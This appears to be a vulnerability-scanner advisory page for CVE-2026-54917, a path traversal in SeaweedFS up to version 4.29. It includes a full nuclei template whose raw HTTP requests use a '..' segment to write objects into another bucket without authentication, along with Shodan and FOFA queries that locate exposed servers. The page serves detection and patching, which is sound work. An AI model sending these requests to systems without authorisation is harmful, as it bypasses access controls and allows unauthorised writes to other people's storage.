SeaweedFS <= 4.29 - Path Traversal File Write

highseverity

7.8CVSS score

1.6%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

SeaweedFS versions through 4.29 build the S3 API and Iceberg REST catalog routers with mux.NewRouter().SkipClean(true), which disables URL path cleaning. A `..` segment in the request path therefore survives routing and reaches the handlers unnormalised, so a request such as `PUT /bucket-A/../evil-bucket/key` is matched as bucket=bucket-A with object=../evil-bucket/key. The captured object key is then joined into a filer path where the `..` is collapsed server-side, so the write lands in evil-bucket while authorisation is evaluated against bucket-A, enabling cross-bucket file write.

Impact

An unauthenticated attacker can write objects to buckets other than the one named in the request path, bypassing bucket-level access controls.

Fix

Upgrade to SeaweedFS 4.30 or later.

How to confirm it

Send: PUT /{{bucket_a}} ; PUT /{{bucket_a}}/../{{bucket_b}}/{{file_key}} ; GET /{{bucket_b}}/{{file_key}}
Positive when: status_code_3 == 200 and contains(body_3, file_key) and contains(header_3, 'SeaweedFS')

Run it with nuclei: nuclei -id CVE-2026-54917 -u <target>

The full check

id: CVE-2026-54917

info:
  name: SeaweedFS <= 4.29 - Path Traversal File Write
  author: Haseeb-1698,DhiyaneshDk
  severity: high
  description: |
    SeaweedFS versions through 4.29 build the S3 API and Iceberg REST catalog routers with mux.NewRouter().SkipClean(true), which disables URL path cleaning. A `..` segment in the request path therefore survives routing and reaches the handlers unnormalised, so a request such as `PUT /bucket-A/../evil-bucket/key` is matched as bucket=bucket-A with object=../evil-bucket/key. The captured object key is then joined into a filer path where the `..` is collapsed server-side, so the write lands in evil-bucket while authorisation is evaluated against bucket-A, enabling cross-bucket file write.
  impact: |
    An unauthenticated attacker can write objects to buckets other than the one named in the request path, bypassing bucket-level access controls.
  remediation: |
    Upgrade to SeaweedFS 4.30 or later.
  reference:
    - https://github.com/advisories/GHSA-w62w-66v9-vvgv
    - https://github.com/seaweedfs/seaweedfs/commit/dd1b4287899eed3dfd73c2f3b1de001996fda229
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54917
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
    cvss-score: 7.8
    cve-id: CVE-2026-54917
    epss-score: 0.01641
    epss-percentile: 0.76593
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 3
    vendor: seaweedfs
    product: seaweedfs
    shodan-query: server:"SeaweedFS"
    fofa-query: server="SeaweedFS"
  tags: cve,cve2026,seaweedfs,traversal

variables:
  bucket_a: "{{to_lower(rand_base(8))}}"
  bucket_b: "{{to_lower(rand_base(8))}}"
  file_key: "{{to_lower(rand_base(8))}}"

http:
  - raw:
      - |
        PUT /{{bucket_a}} HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0
      - |
        PUT /{{bucket_a}}/../{{bucket_b}}/{{file_key}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        Content-Length: {{len(file_key)}}

        {{file_key}}
      - |
        GET /{{bucket_b}}/{{file_key}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_3 == 200"
          - "contains(body_3, file_key)"
          - "contains(header_3, 'SeaweedFS')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from